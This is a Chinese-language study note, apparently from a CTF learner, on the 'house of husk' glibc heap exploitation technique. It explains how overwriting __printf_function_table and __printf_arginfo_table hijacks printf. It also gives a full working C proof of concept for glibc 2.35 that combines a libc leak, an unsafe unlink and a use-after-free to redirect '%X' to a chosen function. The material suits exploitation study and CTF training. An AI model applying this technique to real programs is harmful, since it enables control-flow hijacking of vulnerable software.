house of husk学习笔记
概述
这种手法主要利用了printf的自定义格式化字符串机制
我们可以设法去劫持libc里的printf的自定义格式化字符串相关的两个表来劫持执行流
版本看起来好像是2.36之前都可行(后面的不知道)
在C语言中貌似是可以自定义格式化字符串的(写了一年C语言我还真是不知道这种东西(划掉))
我们这次利用的核心机制概括来讲就是:
执行printf时会去检查__printf_function_table这个变量是否为空,如果为空就正常走printf,非空就会判定为存在编写者自定义的格式化字符串,然后就会去__printf_arginfo_table里找这个自定义的fmt对应的函数指针并执行
理论:
先来看看自定义fmt的注册函数(这里的注册指通过函数将fmt与一个函数指针绑定):
__register_printf_function: 这个函数用来支持编写者定义一个自己的格式化字符串,并将其与自己编写的处理数据然后按想要的方式打印的函数的指针绑定;而它又是 __register_printf_specifier 的封装,以下是源码:
C int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) {//spec即fmt的ascii码值;converter不知道();arginfo即要绑定的函数指针 if (spec < 0 || spec > (int) UCHAR_MAX) //检查fmt是否合理(0~255) { __set_errno (EINVAL); return -1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL)//检查是否为空,里面有指针非空说明自定义过 {//初始时printf_function_table为空,则进入分支为其与_arginfo_table分配空间 __printf_arginfo_table = //这里相当于是会一次性分配两个指针份的chunk共0x1000大小 (printf_arginfo_size_function **) calloc(UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL)//先把首地址给到arginfo表存到_arginfo_table { result = -1; goto out; }
__printf_function_table = //然后再把+255+1之后的空间分给function表 (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } //在这里就进行了绑定的操作,将指针表的空间分配好后就往合适位置写入自定义的函数指针 __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; //这里就能看到一个fmt spec对应的函数指针是在_arginfo_table[spec]这个位置的 out: __libc_lock_unlock (lock);
return result; }
|
通过对上面的源码的分析我们可以知道:
自定义fmt对应的主要的函数指针都存储于__printf_arginfo_table中,利用fmt的ascii码值作为索引
以及这两个表的指针都是存储于libc数据段的,位置相对于libc基址固定,而且一般是能写
这里要注意两个误区:
如果不是题目里有自定义fmt,上面说的这个函数肯定是没执行过的,那两个全局变量也肯定为空;而在我们的攻击过程中也没有执行过这个函数,我们是直接篡改变量值让程序误判为存在自定义fmt的。
这里不要把上面源码中的两个重要的变量误解为table本身,两个变量是用来存储table指针的,我们的攻击就是要篡改这两个变量放上由我们伪造的table
接下来再来看看printf中存在自定义fmt时的相关源码:
套娃调用链:printf->vprintf->vfprintf
可以看到这里就是前面写的检查__printf_function_table是否为空了,这里跟进过去:
又调用了printf_positional,在这里面最终会执行这个函数去解析格式化字符串
可以看到最终就是调用了(*__printf_arginfo_table[spec->info.spec])
这里的索引有点怪,写的是一个spec->info.spec,没看明白是怎么回事,看别的师傅动调打印出来其实就是前面说的spec本身,即自定义fmt的ascii码值
到这里经过一系列调用就执行到我们说的自定义fmt对应的函数指针了
在程序正常运行的角度来讲,如果编写者自定义了一种fmt用来进行特殊的打印,他将自己编写一个函数(可能还会有一个函数辅助)用来规定打印的形式,并选择一个字符作为自己的fmt,这样这个程序就会向__printf_arginfo_table中填入一个指针,并在该chunk里面的合适位置放置自己写好的函数指针(以及在__printf_function_table中放置辅助函数的指针),之后调用printf并使用自定义fmt时就会调用__printf_arginfo_table中的特殊printf了;
而这整个过程的导火索就是__printf_function_table是否为空的检测,只要我们能摸到__printf_function_table并把他改成非空的,然后在__printf_arginfo_table中布置好后门函数,这之后只要调用printf就能点火了。
操作(2.35例子):
这种手法在how2heap上没有,我这边就自己写了个2.35的例子来记录了
C //in glibc-2.35-3.8 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <strings.h> #include <unistd.h>
//0x21c9c8 0x21b8b0 // 在这个例子,我模拟了一个堆题里常见的bss段上的指针数组 // 然后通过一次unlink攻击+uaf夺取了指针数组的控制权 // 在可以自由控制chunk指针指向的情况下,让我们试着来完成一次house of husk
#define FUNCTION_TABLE 0x21c9c8 #define ARGINFO_TABLE 0x21b8b0
uint64_t* pointers[8];
// void PWN();
void PWN() { puts("\nPWN!!!!!!!"); puts("You finish this challenge!!"); }
int main() { int tmp = 0;
pointers[0] = malloc(0x520); pointers[1] = malloc(0x520);//real_size = 0x530 free(pointers[0]); uint64_t libc_base = (uint64_t)pointers[0][0] - 0x21ace0; pointers[0] = malloc(0x520); pointers[2] = malloc(0x20);//real_size = 0x30 //set fake_prev_chunk->fd/bk/size pointers[0][1] = (uint64_t)pointers[1] - (uint64_t)pointers[0] - 0x10; pointers[0][2] = (uint64_t)&pointers[0] - 0x18; pointers[0][3] = (uint64_t)&pointers[0] - 0x10; //set fake_chunk_header pointers[1][-2] = (uint64_t)pointers[1] - (uint64_t)pointers[0] - 0x10; pointers[1][-1] &= ~1; free(pointers[1]); puts("前面unsafe unlink的内容就不在这里面写了,下面主要进行house of husk的攻击以及讲解"); printf("现在的pointers数组的前三个元素:[%p,%p,%p]\n", pointers[0], pointers[1], pointers[2]); puts("现在pointers[0]就受到攻击变成了pointers,现在我们uaf去用pointers[0]就能篡改到整个指针数组了"); pointers[0] = pointers[0]+3;//先把pointers首地址写到第一个指针中 puts("我们可以把__printf_function_table和__printf_arginfo_table放进指针数组,然后再篡改为一些可控的内存地址"); pointers[0][1] = (libc_base + FUNCTION_TABLE); pointers[0][2] = (libc_base + ARGINFO_TABLE); printf("篡改后的前三个元素:[%p,%p,%p]\n", pointers[0], pointers[1], pointers[2]); puts("然后我们就可以利用1和2两个索引篡改__printf_function_table和__printf_arginfo_table了"); printf("此时这两个表还处于NULL状态[*__printf_function_table = %ld][*__printf_arginfo_table = %ld]," "printf可以正常执行\n", *(uint64_t*)(libc_base+FUNCTION_TABLE), *(uint64_t*)(libc_base+ARGINFO_TABLE)); printf("%X\n", 7);
puts("接下来我们来篡改两个表来劫持printf的执行流"); pointers[1][0] = (uint64_t)0x777; puts("首先我们应该利用第二个指针将__printf_function_table篡改为非空的任意值"); pointers[7] = malloc(0x520); pointers[2][0] = (uint64_t)pointers[7]; puts("然后我们应该将__printf_arginfo_table篡改为另一个chunk的指针,这样只要编辑那个chunk就可以伪造__printf_arginfo_table了");
puts("再来就是伪造下函数表, 经过理论学习会知道, 在function_table不为空的情况下,程序会认为存在自定义格式化字符串." "这时经过一系列调用程序会取出格式化字符串在_arginfo_table中对应的函数指针去调用"); puts("所以我们在伪造时就应该根据题目中printf的情况进行构造,比如这里我最后的printf用的'X'" ", 那我们就应该在索引'X'=88处放上后门函数的地址"); pointers[7][88] = (uint64_t)&PWN;
printf("%X", 7); }
|
这里从46行开始讲解house of husk的攻击手法:
(这个例题中我模拟的是unlink+uaf获得的任意地址读写的机会,实战中这种漏洞组合也是常见的,以及我参考的日本师傅写的那个程序是用的relative write相对写改写的)
首先我们想要篡改__printf_function_table和__printf_arginfo_table就需要先将它们篡改进我们题目的指针数组,之后再将它们作为指针使用
这里我们利用前面构造好的指针[0]篡改整个数组,因为此时[0]中的指针指向这个数组的首地址,它作为一个fake_chunk内容就是指针数组
所以我们修改它的内容(overwrite pointers[0][...])时修改的就是整个pointers,我们将chunk1和chunk2这两个指针篡改为__printf_function_table和__printf_arginfo_table
这样我们使用pointers[1/2]时改写的就会是由两个table处开始的一片内容空间了
根据上一部分理论解析可以推出以下要做的准备:
修改 *__printf_function_table != NULL
修改 *__printf_arginfo_table == [可控内容];并使得[可控内容][fmt] == backdoor
第一条是真的一点讲究都没有的,随便往上填点东西就得了
这样在执行printf时程序就会判断为存在自定义的格式化字符串了
接下来就得伪造__printf_arginfo_table了,这里也要注意下指针关系,__printf_arginfo_table是一个用来存储chunk指针的全局变量,程序在提供自定义服务时也是申请了一个大chunk存放函数指针的,我们篡改它就是要把一个可控chunk的指针放到里面去
这里是又申请了一个chunk作为我们伪造__printf_arginfo_table的空间,我们把这个新chunk的指针填到__printf_arginfo_table上
这样我们再去修改pointers[7]就可以伪造__printf_arginfo_table了
因为后面的printf使用的是"%X"这个格式化字符串,X的ascii码是88,所以我们要劫持printf对%X的解析就需要在*__printf_arginfo_table中的相应位置写上想要执行的函数指针,也就是第88个指针的位置
这样我们就构造出了这样的结构
最后只要调用一次使用"%X"的printf就可以劫持到执行流了
跟进一下可以找到在__parse_one_specmb中执行了我们填入的PWN函数
参考文章:
关于house of husk的学习总结 | ZIKH26's Blog
House of Husk - CTFするぞ (hatenablog.com)